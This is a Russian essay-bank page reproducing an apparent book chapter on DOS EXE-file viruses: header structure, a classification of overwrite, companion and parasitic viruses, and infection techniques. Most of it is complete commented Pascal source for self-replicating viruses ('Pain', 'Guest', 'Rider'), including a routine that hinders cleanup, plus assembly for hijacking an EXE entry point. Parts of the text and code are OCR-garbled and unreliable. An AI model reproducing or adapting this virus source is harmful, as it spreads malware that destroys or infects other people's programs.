Реферат: Exe-вирусы - текст реферата. Скачать бесплатно.
Банк рефератов, курсовых и дипломных работ. Много и бесплатно. # | Правила оформления работ | Добавить в избранное
 
 
   
Меню Меню Меню Меню Меню
   
Napishem.com Napishem.com Napishem.com

Реферат

Exe-вирусы

Банк рефератов / Программирование

Рубрики  Рубрики реферат банка

закрыть
Категория: Реферат
Язык реферата: Русский
Дата добавления:   
 
Скачать
Архив Zip, 35 kb, скачать бесплатно
Заказать
Узнать стоимость написания уникального реферата

Узнайте стоимость написания уникальной работы

ЕХЕ-ВИРУСЫ В это й главе рассказано о ви- русах , заражающих ЕХЕ-фай- лы . Приведена классифика- ция таких вирусов , подробно рассмотрены алгоритмы их рабо ты , отличия между ними , достоинства и недо- ст атки . Для каждого типа вирусов представлены и сход- ные тексты с подробными комментариями . Такж е приве - . дены основные сведен и я о структуре и принципах ра- боты ЕХЕ-програм мы. СОМ-файлы (небольшие программы , написанные в основном на языке Assembler) медленно , но верно устаревают . Им на смену приходят пуга- ющие своими размерами ЕХЕ -"монстры ". Появились и вирусы , умею- щие зараж ать ЕХЕ-файлы . Структура и процесс загрузки ЕХЕ-программы В отличие от СОМ-программ , ЕХЕ-программы могут состоять из не- скольких сегментов (к одов , данных , стека ). Они могут занимать бол ь- ше 64Кбайт . ЕХЕ-файл имеет заголовок , который использу ется при е го загрузке. Заголовок состоит из форматированной части , содержащей сигнату ру и данные , необходимые для загрузки ЕХЕ-файл а , и таблицы для на- стройки адресов (Relocation Table). Таблица состоит из значений в фор- мате с егмент :смещение . К смещениям в загру з очном модуле , на которые указывают значен ия в таблице , после загрузки программы в память дол- жен быть прибавлен сегментный адрес , с которого загружена программа . При запуске ЕХЕ-программы системным загру зчиком (вызовом функ- ции DOS 4Bh) выполняются след ующие действия : 1. Определяется сегментный адрес свободного участка памяти , размер которого достаточен д ля размещения программы . 2. Создается и заполняется блок памяти для переменных среды . 3. Создается блок памяти для PSP и прогр аммы (сегментЮОООЬ - PS P; сегмент +ООЮЬЮОООЬ - программа ). В поля PSP заносятся соответ- ствующие значения . 4. Адрес DTA устанавливается равным PSP:0080h. 5. В рабочую область загрузчика считывает ся форматированная часть заголовка ЕХЕ-файла . 6. Вычисляется длина загрузочного модул я по формуле : Si7.e=((PageCnt*5i2)-(HdrSae*i6))-Pa!tP3ig. 7. Определяется смещение загрузочног о модуля в файле , равное HdrSize*16. 8. Вычисляется сегментный адрес (START_SEG) для за грузки - обычно это PSP+lOh. 9. Считывается в память загрузочный м одуль (начиная с адреса START_SEG:0000). 10. Для каждого входа таблицы настройки : a) читаются слова I_OFF и I_SEG; b) вычисляется RELC^SEG-START^SEG+LSEG; c) читается слово по адресу R ELO_SEG:I_OFF; d) к прочитанному слову прибавляется START_SEG; e) результат запоминается по тому же адресу (RELO_SEG:I_OFF). 11. Распределяется память для программы в соответствии с МахМет и МтМет . 12. Инициализируются регистры , выполняется про грамма : a) ES=DS° PSP; b) АХ =результат проверки правильности иде нтификаторов драйве- ров , указанных в командной строке ; c) SS° START_SEG+ReloSS, SP-ExeSP; d) CS=START_SEG+ReloCS, IP=ExeIP. Классификация ЕХЕ-вирусов ЕХЕ-вирусы условно можно разделить на группы, используя в качестве признака для деления особенности алгоритма . Вирусы , замещающие программный код (Overwrite) Такие вирусы уже стали раритетом . Глав ный их недостаток - слишком грубая работа . Инф ицированные программы не исполняются , так как вирус запис ывается поверх программного кода , не сохраняя его . При запуске вирус и щет очередную жертву (или жертвы ), открывает найден- ный файл для редактирования и запи сывает свое тело в начало про- граммы , не сохраняя оригинальный код . Инфицированные эт ими виру- са м и программы лечению не подлежат . Вирусы-спутники (Companion) Эти вирусы получили свое название из-з а алгоритма размножения : к каждому инфицированному файлу создается файл-спутник . Рассмот- рим более подробно два типа вирусов этой группы : Вирусы первого типа размножается сл едующим образом . Для каждого ин- фицируемого Е ХЕ-файла в том же каталоге создается файл с вирусным кодом , имеющий т акое же имя , что и ЕХЕ-файл , но с ра сширением СОМ . Вирус активируется , если при за пуске программы в командной строке у каза но только имя исполняемого файла . Дело в том , что , если не указано расширение файл а , DOS сначала ищет в текущем каталоге файл с заданным именем и расширением СОМ . Если СОМ-файл с та- ким именем не найден , в едется поиск одноименного ЕХЕ-файла . Если не н айден и ЕХЕ-файл , DOS попробует обна ружить ВАТ (пакетный ) файл . В случае отсут ствия в текущем каталоге исполняемого файла с указанным именем поиск ведется во всех каталогах , доступных по переменной PATH. Другими словами , когда пользователь хочет за- пусти т ь программу и набирает в ком андной строке только ее имя (в основном так все и делают ), первым управление п олучает вирус, код которого находится в СОМ-фа йле . Он создает СОМ-файл еще к одному или нескольким ЕХЕ-файлам (распространяется ), а зат ем исполняет Е Х Е-файл с указанным в командной строке именем . Поль- зователь ж е думает , что работает только запущенная Е ХЕ-программа. Вирус-спутник обезвредить довольно прост о - достаточно удалить СОМ-файл . Вирусы второго типа действуют более т онко . Имя инфицируемого ЕХЕ -файла остается прежним , а расширение заменяется каким-либо дру гим , отличным от исполняемого (СОМ , ЕХЕ и ВАТ ), Например, файл может получить расширение DAT (файл данных ) или OVL (про- граммный оверлей ). Затем на место ЕХЕ-файла копируется вирусный код . Пр и запуске такой инфицирован ной программы управление полу- чает вирусный код , находящийся в ЕХЕ-файле . Инфицировав еще один или несколько ЕХЕ-файлов таким же обр азом , вирус возвращает ориги- нальному файлу и сполняемое расширение (но не ЁХЕ , а СОМ , по- сколь к у ЕХЕ-файл с таким им енем занят вирусом ), после чего испол- няет его . Когда работа инфицированной программы закончена , ее запускаемому файлу возвращается рас ширение неисполняемого . Лече- ние файлов , зараженн ых вирусом этого типа , может быть затрудне но, ес л и вирус-спутник шифрует часть или все тело инфицируемого файла, а пере д исполнением его расшифровывает . Вирусы , внедряющиеся в программ у (Parasitic) Вирусы этого вида самые незаметные : их код записывается в инфици- руемую программу , что существенно затру дняет лечение з араженных файлов . Рассмотрим методы внедрения ЕХЕ -вирусов в ЕХЕ-файл . Способы заражени я ЕХЕ-файлов Самый распространенный способ заражения Е ХЕ-файлов такой : в конец файла дописывается те ло вируса , а заголовок корректируется (с с охране- ни ем оригинального ) так , чтобы при запуске инфицированного файла управление получа л вирус . Похоже на заражение СОМ-файлов , но вмес- то задания в коде перехода в н ачало вируса корректируется собственно адрес точ ки запуска программы . После окончания работы ви р ус берет из сохраненного заг оловка оригинальный адрес запуска программы , прибав- ляет к его сегментной компоненте знач ение регистра DS или ES (полу- ченное при старте вируса ) и передает управление на полученный адрес . Следующий способ - внедрение вируса в начало файла со сдвигом кода программы . Механизм заражения такой : тело инфицируемой программы считывается в память , на ее ме сто записывается вирусный код , а после него - код инфицируемой программы . Таким образом , код программы как бы "сдвигается " в файле на длину кода вируса . Отсюда и название способа - "способ сдвига ". При запуске инфицированного файла вирус заражает еще од ин или несколько файлов . После этого он считывает в память код программы , записывает его в специально созданный на диске времен ный фа й л с расширением исполняемо го файла (СОМ или ЕХЕ ), и затем исполняет этот файл . Когда программа закончила рабо - ту , временный файл удаляется . Если при со здании вируса не применя- лось дополнительных приемов защиты , то вылечить инфицированный фай л очень про с то - достаточно удалит ь код вируса в начале файла, и программа снова будет работоспособной . Недостаток этог о метода в том , что приходится считывать в память весь код инфицируемой про- граммы (а ведь бывают экземпляры размером больше 1Мбайт ). Следующий спо соб заражения файлов - метод переноса - по всей ви- димости , являет ся самым совершенным из всех перечисленных . Вирус размножается следующим образом : при запу ске инфицированной про- граммы тело вируса из нее считывается в память . Затем ведется поиск неинфи ц ированной программы . В память считывается ее начало, по длине р авное телу вируса . На это место записывает ся тело вируса. Начало программы из памяти дописывается в конец файла . Отсюда на- зван ие метода - "метод переноса ". После того , как вирус инфицировал о дин или неск олько файлов , он приступает к исполнению п рограммы, из которой запустился . Для этого он считывает начало инфицирован- ной программы , сохраненное в конце файла , и записывает ег о в начало файла , восстанавливая работоспособность прогр аммы . Затем вирус уда- ляет код начала программы из конца файла , восстанавливая ор игиналь- ную длину файла , и исполняет программ у . После завершения програм- мы вирус вновь записывает свой код в начало файла , а оригинальное начало программы - в конец . Этим методом мог у т быть инфицированы да же антивирусы , которые проверяют свой код на целостность , так как запускаемая вирусом п рограмма имеет в точности такой же код , как и до ин фицирования . Вирусы , замещающие программный код (Overwrite) Как уже говорилось , этот вид вирус ов уже давно мертв . Изредка появ- ляют ся еще такие вирусы , созданные на языке Assembler, но это , скорее, соревнование в написании самого маленького overwrite-вируса . На дан- ный момен т самый маленький из известных overwrite-вирусов написан Reminder'ом (De a th Virii Crew group) и занимает 22 байта . Алгоритм работы overwrite-вируса следующий : 1. Открыть файл , из которого вирус пол учил управление . 2. Считать в буфер код вируса . 3. Закрыть файл . 4. Искать по маске подходящий для зар ажения файл . 5. Если фай лов больше не найдено , перейти к пункту 11. 6. Открыть найденный файл . 7. Проверить , не заражен ли найденный файл этим вирусом . 8. Если файл заражен , перейти к пункту 10. 9. Записать в начало файла код вируса . 10. Закрыть файл (по желанию можно зар ази ть от одного до всех фай- лов в каталоге или на диске ). 11. Выдать на экран какое-либо сообщение об ошибке , например "Abnormal program termination" или "Not enough memory", - пусть п ользователь не слишком удивляется тому , что программа не запу- стилась . 12. Завершить программу . Ниже приведен листинг программы , заражающей файлы таким способо м. $М 2048, 0, 0 $А- $В- $D- $Е + ($F-) ($G- ($!- $L- $N- $S- / $V- $X+ Используются модули DOS и System (модуль System автома тически подключается к каждой программе при к омпиляции ) Uses DOS; Const ( Имя вируса VirName='Pain'; Строка для проверки на повто рное заражение . Она дописывается в заражаемый файл ср азу после кода вируса VirLabel: String[5]='Pain!1; Длина получаемого при компиляции ЕХЕ-файл а VirLen=4208; Author='Dirty Nazi/SGWW.'; Количество заражаемых за один сеанс работы файлов lnfCount=2; Var Массив для определения наличия копии вируса в на йденном файле Virldentifier: Array [1.5] of Char; Файловая переменная для работы с фай лами VirBody: File; (Еще одна фай ловая переменная - хотя без нее можно было обойтись , так будет понятнее ) Target: File; Для имени найденного файла ) TargetFile: PathStr; ( Буфер для тела вируса ) VirBuf : Array [-I.VirLen] of Char; (Для даты /времени файла ) Time : Longint; (Счетчик количества инфицированных файлов ) InfFiles : Byte; Dirlnfo : Search Rec; LabelBuf : Array [1.5] of Char; ( Инициализация ) procedure Init; begin LabelBuf [1]:=VirLabel[1]; LabelBuf[2]:=VirLabel[2]; LabelBuf[3]:=VirLabel[3], LabelBuf[4]:=VirLabel[4]; LabelBuf[5]:=VirLabel[5]; (Обнуляем счетчик количества инфицированных файлов lnfFiles:=0; (Связываем файловую переменную VirBody с имен ем программы. из которой стартовали ) Assign(VirBody, ParamStr(O)); (Открываем файл с recsize=1 байту ) Reset(VirBody, 1); (Считываем из файла тело вируса в массив VirBuf BlockRead(VirBod y VirBuf, VirLen); ( Закрываем файл ) Close(VirBody); end; ( Поиск жертвы procedure FindTarget; Var Sr: SearchRec; (Функция возвращает True, если найде нная программа уже заражена , и Fa lse, если еще нет function VirusPresent: Boolean; begin (Пока будем считать , что вируса нет VirusPresent:=False; ( Открываем найденный файл Assign(Target, TargetFile); Reset(Target, 1); (Перемещаемся на длину тела вируса от начала файла Seek(Target, VirLen); (Считываем 5 байт - если файл уже зара жен, там находится метка вируса BlockRead(Target, Virldentifier, 5); If Virldentifier=Virl_abel Then Если метка есть , з начит есть и вирус VirusPresent:=True; end; ( Процедура заражения pro cedure InfectFile; begin Если размер найденного файла меньше , чем длина вируса плюс 100 байт , то выходим и з процедуры If Sr.Size < VirLen+100 Then Exit; Если найденная программа еще не заражена , инфицируем ее If Not VirusPresent Then begin Запомним дату и время файла . Атрибуты запоминать не надо, так как поиск ведетс я среди файлов с атрибутом Archive, а этот атри бут устанавливается на файл после сохранения в любом случае Time:=Sr. Time; Открываем для заражения Assign(Target, TargetFile); Reset(Target, 1); Записывам тело вируса в начало файла BlockWrite(Target, VirBuf, VirLen); Перемещаем указатель текущей позиции на длину вируса от начала файла Seek(Target, VirLen); Впис ываем метку заражения BlockWrite(Target, LabelBuf, 5); Устанавливаем дату и время файла SetFTime(Target, Time); Закрываем Close(Target); Увеличиваем счетчик инфицированных файлов Inc(lnfFiles); end; end; Начало процедуры FindTarget begin И щем в текущем каталоге файлы по маске *. ЕХЕ с атрибутами Archive FindFirstF.EXE', Archive, Sr); Пока есть файл ы для заражения While DosError=0 Do begin If Sr.Name=" Then Exit; (Зап оминаем имя найденного файла в переменную TargetFile TargetFile:=Sr.Name; Вызываем процедуру заражения InfectFile; Если заразили InfCount файлов , завершаем поиск If InfFiles > InfCount Then Exit; Ищем следующий файл по маске FindNext(Sr); end; end; Основное тело begin (Инициализируемся hit; Ищем жертвы и заражаем их FindTarget; Выдаем на экран сообщение об ошибке WriteLn('Abnormal program termination.'); Это чтобы компилятор вставил в код константы VirName и Author, условие же поста влено таким образом, что эти строки никогда не будут выведены на экран If 2=3 Then begin WriteLn(VirName); WriteLn(Author); end; end. Вирусы-спутники (Companion) Вирусы-спутники сей час широко распрос транены - соотношение companion и parasitic вирусов примерно один к двум . Инфицирование методом создания СОМ-файла спутника Смысл этого метода - не трогая "чужого кота " (ЕХЕ-программу ), со- здать "своего " - СОМ-фай л с именем ЕХЕ-програм мы . Алгоритм раб о- ты такого вируса предельно прост , так к ак отпадает необходимость лишних действий (наприм ер , сохранения в теле вируса длины откомпи - лированного ЕХЕ-файла с вирусным кодом , счит ывания в буфер тела вируса , запуска файла , из которого вирус получил управлени е ). Неза- чем даже хранить метку для опреде ления инфицирования файла . Заражение производится с помощью командно го процессора : 1. Если в командной строке указаны па раметры , сохранить их в пере- менную типа String для передачи инфицированн ой программе . 2. Найти ЕХЕ-файл-жертву . 3. Проверить , не присутствует ли в кат алоге с найденным ЕХЕ-фай- лом СОМ-файл с т аким же именем , как у файла-жертвы . 4. Если такой СОМ-файл присутствует , файл уже заражен , переходим к пункту 6. 5. С помощью коман дного процессора скопировать файл , из которого получено управле ние , в файл с именем жертвы и расширен ием СОМ . 6. Процедурой Ехес загрузить и выполнить файл с именем стартового , но с расширени ем ЕХЕ - то есть выполнить инфицированную программу . 7. Вернуть управление в DOS. Приведенный ниже листинг показы вает заражение файлов этим методом. ($М 2048, 0, 0 f$A- <$В -" ($D- <$Е +1 $F- $G- $!- f$L-( $N-) $S- <$V- $X+ (Использу ются модули DOS и System (модуль System автоматически подключается к каждой программе при компиляции ) Uses DOS; Const Имя вируса ) VirName='Guesf; Author='Dirty Nazi/SGWW. 4 PVT only!'; Количество зараженных за один сеанс работы файлов lnfCount=2; Var Для имени найденного файла ) TargetFile : PathStr; Для создания копии TargetCOM : PathStr; (Счетчик количества заражений InfFiles : Byte; Dirlnfo : SearchRec; Для сохранения параметров командной стро ки Parms : String; (Для цикла For I: Byte ; (Поиск жертв procedure FindTarget; Var Sr : SearchRec; Функция возвращает True, если найденная программа уже заражена, и False, если еще нет function VirusPresent: Boolean; Var Target : File; begin Пока будем считать , что вируса здесь нет VirusPresent:=False; Пытаемся открыть файл с именем найде нной программы, но с расширением СОМ AssignHarget, TargetCOM); ResetHarget, 1); Если не было ошибок при открытии, про грамма уже инфицирована этим вирусом If IOResult=0 Then begin VirusPresent:=True; Открыли - закроем Close(Target); end; end; Собственно процедура заражения procedure InfectFile; begin Если найденная программа еще не зара жена , инфицируем ее If Not VirusP resent Then begin С помощью командного процессора копируем вирусный код в СОМ-файл Swap Vectors; Exec(GetEnv('COMSPEC'),7C COPY /B '+ParamStr(0)+' '+TargetCOM+' >NUL'); Swap Vectors; (Увеличиваем на единицу счетчик инфицированных файлов Inc(lnfFiles); end; end; begin начало процедуры FindTarget (Ищем в текущем каталоге файлы по маске *.ЕХЕ с атрибутами Archive FindFirstF.EXE', Archive, Sr); Пока есть файлы для заражения W hile DosError=0 Do begin If Sr.Name=" Then Exit; Запоминаем имя найденного файла в пе ременную TargetFile TargetFile:=Sr.Name; TargetCOM:=Copy(TargetFile,1,Length(TargetFile)-4)+'.COM'; Вызываем процедуру заражения InfectFile; Если заразили InfCo unt файлов , завершаем поиск If InfFiles > InfCount Then Exit; Ищем следующий файл по маске FindNext(Sr); end; end; Основное тело begin Parms:=' '; Запоминаем параметры командной строки If ParamCount <> 0 Then For l:=1 To ParamCount Do Parms:=Parms+' '+ParamStr(l); Ищем жертвы и заражаем их FindTarget; TargetFile:=Copy(ParamStr(0), 1 ,Length(ParamStr(0))-4)+'.EXE'; (Ищем файл с именем стартового файл а , но с расширен ием ЕХЕ FindFirst(TargetFile, AnyRle, Dirlnfo); Если такой файл найден , запускаем его на выполнение ) If DosError=0 Then begin Swap Vectors; Exec(GetEnv('COMSPEC'),7C '+TargetFile+Parms); Swap Vectors; end Else Если файл не найден , выходим, не внос я в программу изменений ) begin WriteLn(#13#10, VirName, ' by '.Author); WriteLnCKaKoe-нибудь сообщение '); end; end. Инфицирование методом переименован ия ЕХЕ-файла Отличий в алгоритмах работы этих виру сов и их "коллег ", создающих файл-спутник , не так уж много . Но , по всей видимост и , заражение ме- тодом переименования несколько совершеннее - для излечения от ви- руса нужн о не просто удалить СОМ-файл с кодом в ируса , а немного помучаться и разыскать , во что же переименован ЕХЕ-файл с инфици- рова нной прогр а ммой . 1. Если в командной строке указаны па раметры , сохранить их в пере- менную типа String для передачи инфицированной программе . 2. Найти ЕХЕ-файл-жертву . 3. Проверить , не присутствует ли в кат алоге с найденным ЕХЕ-фай- лом-жертвой файл с таким же име нем и с расширением , которое выбрано для инфицированной программы (например , OVL - про- граммный оверлей ). 4. Если такой файл присутствует , программ а уже инфицирована - пе- реходим к пункту 7. 5. Переименовать найденный файл-жертву (ЕХЕ ) в файл с таким ж е име- нем , но с расширением , выбранным для инфицированной программы . 6. С помощью ко мандного процессора скопировать файл , из кото рого по- лучено управление , в файл с имене м жертвы и рас ширением жертвы . 7. Найти в каталоге , из которого получ ено управление , файл с именем стартовой прогр аммы , но с расширением , выбранным для инфи ци- рованной - это и будет зараженная программ а , которую в данный момент необходимо запусти ть на исполнение . 8. Если такой файл не найден , пе реходим к пункту 12. 9. Изменить расширение найденного файла н а СОМ (ни в коем случае не на ЕХЕ , ведь в ЕХЕ-файле с таким именем находится вирусный код !). 10. Процедурой Ехес загрузить и выполнить переименованный файл - то ес ть выпол нить инфицированную программу . 11. Вернуть СОМ-файлу с инфицированной про граммой выбранное расширение , то есть превратить его опять в неисполняемый . 12. Вернуть управление в DOS. Несколько слов о вирусе , листинг котор ого приведен ниже . Вирус Rider написан очен ь просто и доступно . За сеанс работы о н заражает один ЕХЕ-файл в текущем каталоге . Сам процесс заражения также весьма прост : файл-жертва переписывается в файл с расширени ем OVL (овер- лейный файл ), а на его место с помощью командного пр о цессора к опи- руется вирусный код . При запуске происход ит заражение только что найденного ЕХЕ-файла , затем вирусный код переименовывается в OWL, a OVL - в ЕХЕ , после чего оригинал запускается на ис полне- ние . Когда оригинал отработал , происходит переимено в ание в обратном порядке . С защищенного от записи диска программа не запустится , она выдаст сообщение , что диск защищен от записи . В представленном здесь виде вирус лег ко обезвредить , достаточно про- сто переименовать OVL-файл обратно в ЕХЕ . Но , чтобы усло жнить ле- чение , в вирусе может быть использован такой прием : procedure MakeNot; Var Buf10: Array [1.10] of Byte; Cicle: Byte; begin Seek(Prog, 0); Reset(Prog); BlockRead(Prog, Buf1 0, 10); For Cicle:=1 To 10 Do Buf10[Cicle]:=Not Buf10[Cicle]; Seek(Prog, 0); BlockWrite(Prog, Buf10, 10); Close(Prog); end; При использовании этой процедуры надо учитывать , что заражаемая и запускаемая на исполнение программа должна быть связана с пе ре- менной Prog типа File, описанной в основн ом модуле . Суть процедуры состоит в том , ч то из заражаемой программы считываются 10 байт и ко- дируются операцией Not. ЕХЕ-программа стан овится неработоспособ- ной . Запускать эту процеду ру нужно не только перед прогоном ориги- нала , но и после него . Name Rider Version 1.0 Stealth No Tsr No Danger 0 Attac speed Slow Effects No Length 4000 Language Pascal BodyStatus Packed Packer Pklite ($M 2048, 0, 0 Stack 1024b, Low Heap Limit Ob, High Heap Limit Ob Используются модули DOS и System (модуль System автома тически подключается к каждой программе при компиляции ) Uses DOS; Const Fail='Cannot execute '^13#10'Disk is write-protected'; Расширения файл ов , которые будем использовать Ovr='.OWL'; Ovl='.OVL'; Ехе =.ЕХЕ '; Var Dirlnfo : SearchRec; Sr : SearchRec; Ch : Char; I : Byte; OurName : PathStr; OurProg : PathStr; Ren : File; CmdLine : ComStr; Victim : PathStr; VictimName : PathStr; (Процедура для проверки диска на Read Only) procedure CheckRO; begin Assign(Ren, #$FF); ReWrite(Ren); Erase(Ren); If lOResult <> 0 Then Если диск защищен от записи , то о твет 'Access denied ' begin WriteLn(Fail); Halt(5); end; end; (Процедура прогонки оригинала procedure ExecReal; begin Находим оригинал FindFirst(OurName+Ovl, AnyFile, Dirlnfo); If DosError <> 0 Then (Если не нашли begin WriteLn('Virus RIDER. Let's go on riding!'); WriteLn('l beg your pardon, your infected file cannot be executed.'); (Выход с DosError=ann не найден ) Halt(18); end; Переименовываем программу в OVL Assign(Ren, OurName+Exe); ReName(Ren, OurName+Ovr); Переименовываем оверлей в ЕХЕ Assign(Ren, OurName+Ovl); ReName(Ren, OurName+Exe); (И запускаем его Swap Vectors; Exec(GetEnv('COMSPEC'), 7C '+OurName+Exe+CmdLine); Swap Vectors; А теперь возвращаем все на место ) Assign(Ren, OurName+Exe); ReName(Ren, OurName+Ovl); Assign(Ren, OurName+Ovr); ReName(Ren, OurName+Exe); end; (Процедура заражения procedure Infect; begin Переименовываем жертву в OVL Assign(Ren, Victim); ReNam e(Ren, VictimName+Ovl); Копируем тело вируса на место жертвы SwapVectors; Exec(GetEnv('COMSPEC'), '/С COPY '+OurProg+' '+Victim+' >NUL'); SwapVectors; end; Процедура поиска жертвы procedure FindFile; begin В текущем ката логе ищем ЕХЕ-файл FindFirst('*EXE', AnyFile, Dirlnfo); If DosError=0 Then И если он найден begin Запоминаем имя жертвы Victim:=Dirlnfo.Name; Запоминаем имя без расширения VictimName:=Copy(Victi m, 1, Length(Victim)-4); Ищем оверлей с тем же именем FindFirst(VictimName+Ovl, AnyFile, Sr); If DosError <> 0 Then Infect; end; end; Процедура инициализации переменных procedure I nit; begin (Командная строка CmdLine:="; Полное имя нашей про граммы OurProg:=ParamStr(0); Имя нашей программы без расширения OurName:=Copy(ParamStr(0), 1, Length(ParamStr(0))-4); For l:=1 To ParamCount Do begin Запоминаем параметры CmdLine:=ParamStr(l)+' '; end; end; Основная подпрогра мма begin А эту табличку запишем в код для тех , кто распакует вирус и начнет в не м копаться If False Then begin WriteLn(#13#10 ' '); end; Инициализируемся Init; (Проверка диска на R/О CheckRO; Ищем и заражаем FindFile; Загружаем оверлей ExecReal; end. Вирусы , внедряющиеся в программ у (Parasitic) Эти вирусы являются самыми "хитрыми ". П оскольку такой вирус вне- дряется в инфицируе мую программу , это дает ему много преимуще ств пере д всеми вышеописанными вирусами : на диске не появляются лиш- ние файлы , нет забот с копированием и переименованием , к роме того, усложняется лечение инфицированных фай лов . Стандартное заражение ЕХЕ-файлов Стандартное заражение - заражение , при кото ром вир ус внедряется в конец файла , и зменяя заголовок так , чтобы после загрузки файла уп- равление получил вирус . Принципиально действие такого вируса мало отличается от действия рассмотренного СОМ-вируса . Чтобы выясн ить способы работы с ЕХЕ-файлами , рассмотрим с ледующий фрагмент про- граммы : ;Читаем заголовок ЕХЕ-файла (точнее , толь ко первые 18h байт, ;которых вполне достаточно ) ReadHeader: mov ah,3Fh mov dx,offset EXEHeader mov cx,0018h int 21 h Останавливаем в SI адрес считанного заголов ка . В дальнейшем ;будем обращаться к заго ловку , используя Sl+смещение элемента mov si,offset EXEHeader [Получаем реальную длину файла , перемест ив указатель текущей ;позиции чтения /записи в конец файла GetRe alFSize: mov ax,4202h mov bx.Handle xor ex,ex xor dx.dx int 21 h ;Сохраним полученную длину файла mov Reallen.dx mov Reallen+2,ax ;Так как речь идет о стандартной процедуре заражения , нужно ;помнить , что вс е вышесказанное не должно затрагивать оверл ейные файлы . Их длина , указанная в заголовке, .-меньше реальной , то есть эти файлы загружаются ;в память не полностью . Следовательно , если заразить такой файл , вирус попадет ;в незагружаемую часть. Сохрани м в стеке реальную длину ЕХЕ-файла push dx push ax рассчитаем размер ЕХЕ-файла в 512-байтных страницах и остаток CompareOVL mov cx,0200h div ex ;Ha данный момент в регистре АХ находи тся число страниц ;(в каждой странице сод ержится 512 байт ), ;а в регистре DX - остаток , об разующий ;еще одну (неу чтенную ) страницу. .Добавим эту страницу к общ ему числу страниц - ;если остаток не равен нулю , то .увеличим число страниц or dx.dx jz m1 inc ax m1: .Будем считать пригодным для зараж ения .стандартным способом файлы с длиной, ;п олностью совпадающей с указанной в заголовке cmp ax,[si+PartPag] jne ExitProc cmp dx,[si+PageCnt] jne ExitProc ;Чтобы вирус смог вернуть управление ;зараженной программе , сохраним поля ReloSS, ;ExeSP, ReloC S, ExelP из заголовка ЕХЕ-файла. .Значения констант , используемых в программе, .равны смещению со ответствующего ;элемента в заголовке ЕХЕ-файла (Приложение А ) InitRetVars: mov ax,[si+ReloSS] mov oldss.ax mov ax,[si+ExeSP] mov oldsp.ax mov ax,[si+ReloC S] mov oldcs.ax mov ax,[si+Exe!P] mov oldip.ax .Восстановим из стека реальную длину ф айла ;В данном случае она совпадает с длиной , указанной в заголовке pop ax pop dx .Рассчитаем длину программы с вирусом , для чего прибавим ;к длине файла длину тела вируса add ax,VIRSIZE ;VIRSIZE - длина тела вируса adc dx.0 рассчитаем получивш уюся длину (одна страница - 512 байт ) ;и остат ок в последней странице (так же, ;как рассчитывали длину фа йла без вируса ) mov cx,0200h div ex or dx.dx jz newJen inc ax NewJen: ;Внесем в заголовок новую длину фай ла mov [si+PageCnt],ax mov [si+PartPag],dx ;Прочитаем реальную длину файла. ;По ней будем рассчитывать новую ;точку входа в программу (адрес зап уска ) Eval_new_entry: mov dx.Reallen+2 mov ax.Reallen ; Рассчитаем новую точку входа . .Точка входа в вирус должна находиться ;в начале его тела . Другими словами , нужно к длине файла .прибавить смещение точки входа . ;Разделим длину на размер параграф а (10h) mov cx,10h div ex Получили число параграфов (AX) и остаток (DX - смещение ;вируса в последнем параграфе ). ;0т нимем от числа параграфов в файле число . параграфов в заголовке - получим сегмент входа в ЕХЕ-файл sub ax,[si+HdrSize] ;3апишем новую т очку входа в заголовок mov [si+ReloCS],ax mov [si+ExelP],dx .Замечание : можно было округлить полученно е число, ;и вирус начинался бы с OOOOh. ;Н о этого делать не стоит . ,-Естественно , в се обращения к данным в этом виру се должны быть нефиксированными , как и в любом другом вирусе . ;Вместо "mov ax,ANYDATA" придется делать так : ; mov si.VIRSTART ; mov ax,[si+offset ANYDATA] ;где offset ANYDATA - смещение относительно начала т ела вируса ;Стек поставим за тело вируса - байт на ЮОп . Потом обязательно ;вернем , иначе можно стереть заготовленн ые в стеке значения ! .'Установим сегмент стека такой же , к ак и кода , ;а указатель на вершину стека - ;на 100h байт после тела вируса mov [si+ReloSS j.ax mov ax.VIRSIZE+IOOh mov [si+ExeSP],ax ;Теперь запишем заголовок в файл , не забыв и тело вируса. ; Рекомендуется писа ть сначала тело , а потом заголовок. ;Если тело вдруг не допишется, ;то файл ис портим зря UpdateRle: ;3апишем тело вируса WriteBody: .-Установим указатель чтения /записи в конец файла mov bx,Handle хог сх,сх xor dx.dx mov ax,4202h int 21 h .Запишем тело вируса в файл mov ah,40h mov cx.VIRSIZE mov dx.offset VIRStart int 21h ;3апишем заголовок WriteHeader: ;Установим указатель чтения / записи в начало файла mov ax,4200h xor ex,ex xor dx.dx int 21 h .Запишем заголовок в файл mov cx,0018h mov ah,40h mov dx.si int 21 h Итак , вирус "поселился " в ЕХЕ-файле . А как пос ле окончания работы вируса пере дать управление инфицированной программе ? Вот процеду- ра выхода из вируса : CureEXE: StackBack: -.Установим первоначальный указатель (сегмент и смещение ) стека mov ax.ds -.Прибавим ООЮп , после чего в АХ бу дет ;находится с егмент , с которого ;з агружен программный модуль add ax,10h Прибавим первоначальный сегмент стека db @add_ax ;код ADD AX, дальше по аналогии OldSS dw ? ;это значение было установлено ;при заражении ;3апретим прерывания , так как со стеком нельзя работать, ;пока и сегмент , и смещение не установлены в нужное значение cli -.Установим сегмент стека (PSP+Wh+OldSS) mov ss.ax :Установим первоначальный указатель (смещени е ) стека db @mov_sp OldSP dw ? ; Разрешим прерывания - опасный участок п ройден sti [Подготовим значе ния в стеке для команды IRET RetEntryPoint: pushf рассчитаем сегмент для кода по аналог ии с сегментом стека mov ax.DATASEG add ax,10h db @add_ax OldCS dw ? ;Сохраним в сте ке полученное зн ачение (PSP+Wh+OldCS) push ax ;Сохраним в стеке смещение исходной точки входа db @mov_ax OldIP dw ? push ax .Запустим программу . В стеке находятся смещение ;точки входа , сегмент точки входа и флаги iret Внедрение способом сдвига Инфиц ируемая программа размещается в файле после кода вируса, сдвигаясь на ег о длину , отсюда и название метода . Алгорит м работы вируса следующий : 1. Открыть файл , из которого получено управление . 2. Считать в буфер тело вируса . 3. Закрыть файл . 4. Найти фай л-жертву (для данного типа вирусов лучше СОМ-файл, но можно и не слишком большой ЕХЕ - это связано с те м , что все тело инфицируемой программы считыв ается в память и ее может не хватить , если эта программа слишком большая ). 5. Открыть файл-жертву . 6. Пров ерить файл на повторное за ражение (здесь могут быть вариан- ты , но ча ще всего используется сигнатура ). 7. Если файл уже инфицирован , перейти к пункту 3. 8. Считать в буфер все тело программы . 9. Записать в начало файла тело вирус а из буфера . 10. Дописать в ф айл после тела вируса тело программы из буфера. Длина программы увеличивается на длину вируса . 11. Закрыть файл-жертву . 12. Открыть файл , из которого стартовали . 13. Считать в буф ер тело инфициров анной программы , расположенное в файле после тела вируса . 14. Создать на диске временный файл с расширением СОМ или ЕХЕ (в зависимости от того , какой тип программ заражается ). 